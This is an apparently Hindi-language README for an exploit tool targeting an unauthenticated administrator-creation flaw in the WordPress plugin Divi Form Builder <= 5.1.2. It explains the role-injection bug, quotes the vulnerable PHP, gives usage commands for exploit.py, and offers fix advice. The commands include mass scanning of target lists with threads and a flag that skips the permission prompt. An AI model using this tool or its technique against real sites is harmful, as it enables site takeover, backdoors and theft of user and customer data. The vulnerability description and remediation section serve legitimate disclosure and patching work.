
Divi Form Builder <= 5.1.2 — प्रमाणीकरण रहित विशेषाधिकार वृद्धि (भूमिका इंजेक्शन के माध्यम से)
🔥 भेद्यता सारांश
वर्डप्रेस प्लगइन Divi Form Builder संस्करण <= 5.1.2 एक बिना प्रमाणीकरण के विशेषाधिकार वृद्धि भेद्यता के लिए संवेदनशील है। यह महत्वपूर्ण दोष बिना प्रमाणीकरण के हमलावरों को किसी भी Divi Form Builder फॉर्म के माध्यम से सीधे एक नया व्यवस्थापक खाता बनाने की अनुमति देता है — जिसमें संपर्क फॉर्म, कोट फॉर्म, न्यूज़लेटर फॉर्म, या कोई अन्य DFB-सक्षम फॉर्म शामिल हैं।
यह भेद्यता FormSubmissionHandler.php में create_user() फ़ंक्शन से उत्पन्न होती है, जो उचित प्राधिकरण या अनुमति सूची सत्यापन के बिना उपयोगकर्ता-प्रस्तुत POST डेटा से role पैरामीटर सीधे स्वीकार करता है। प्लगइन केवल यह जाँचता है कि प्रस्तुत भूमिका सिस्टम में मौजूद है या नहीं (जैसे, administrator एक मान्य WordPress भूमिका है) — यह कभी जाँच नहीं करता कि भूमिका सार्वजनिक पंजीकरण के लिए सुरक्षित है या नहीं।
सफल खोज: Divi Form Builder द्वारा उपयोग किया गया fb_nonce एक वैश्विक साझा nonce (wp_create_nonce('security')) है — साइट पर सभी फॉर्मों में समान। इसके अलावा, form_type=register को साझा AJAX हैंडलर पर POST के माध्यम से ओवरराइड किया जा सकता है। इसका मतलब है कि कोई भी DFB फॉर्म (संपर्क, कोट, फीडबैक, आदि) को मनमानी भूमिका असाइनमेंट के साथ उपयोगकर्ता पंजीकरण ट्रिगर करने के लिए हथियार बनाया जा सकता है।
🔍 प्रभावित प्लगइन
🧨 हमलावर क्या कर सकते हैं
🧪 शोषण सुविधाएँ
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator सबमिट करता हैresult.txt में🧠 संवेदनशील कोड
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 उपयोग
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
Create targets.txt:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 सुधार अनुशंसाएँ
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role छिपे इनपुट को पूरी तरह हटाएंcurrent_user_can('create_users') क्षमता जाँच जोड़ें🧠 शोधकर्ता
📚 संदर्भ
🔒 अस्वीकरण:
यह जानकारी केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए प्रदान की गई है। कंप्यूटर सिस्टम का अनधिकृत शोषण अवैध और अनैतिक है। किसी भी ऐसे लक्ष्य का परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जिसके आप मालिक नहीं हैं।
| क्षमता | प्रभाव |
|---|
| 🔑 बिना लॉगिन के व्यवस्थापक खाता बनाएं | पूर्ण साइट अधिग्रहण |
| 📦 WooCommerce ग्राहक डेटा तक पहुंच | डेटा उल्लंघन |
| 💉 प्लगइन/थीम PHP फ़ाइलें संपादित करें | दूरस्थ कोड निष्पादन |
| 🕳️ छिपे हुए बैकडोर स्थापित करें | स्थायी पहुंच |
| 👥 सभी उपयोगकर्ता डेटा देखें | गोपनीयता उल्लंघन |
| ध्वज | विवरण |
|---|
-t, --target | एकल लक्ष्य URL |
-l, --list | लक्ष्य सूची वाली फ़ाइल (प्रति पंक्ति एक, http/https वैकल्पिक) |
-T, --threads | सामूहिक स्कैन के लिए थ्रेड (डिफ़ॉल्ट: 10) |
-o, --output | परिणामों के लिए आउटपुट फ़ाइल (डिफ़ॉल्ट: result.txt) |
-u, --username | नए खाते के लिए कस्टम उपयोगकर्ता नाम |
-p, --password | नए खाते के लिए कस्टम पासवर्ड |
-e, --email | नए खाते के लिए कस्टम ईमेल |
-v, --verbose | विस्तृत डीबग आउटपुट |
--no-confirm | अनुमति पुष्टि संकेत को छोड़ें |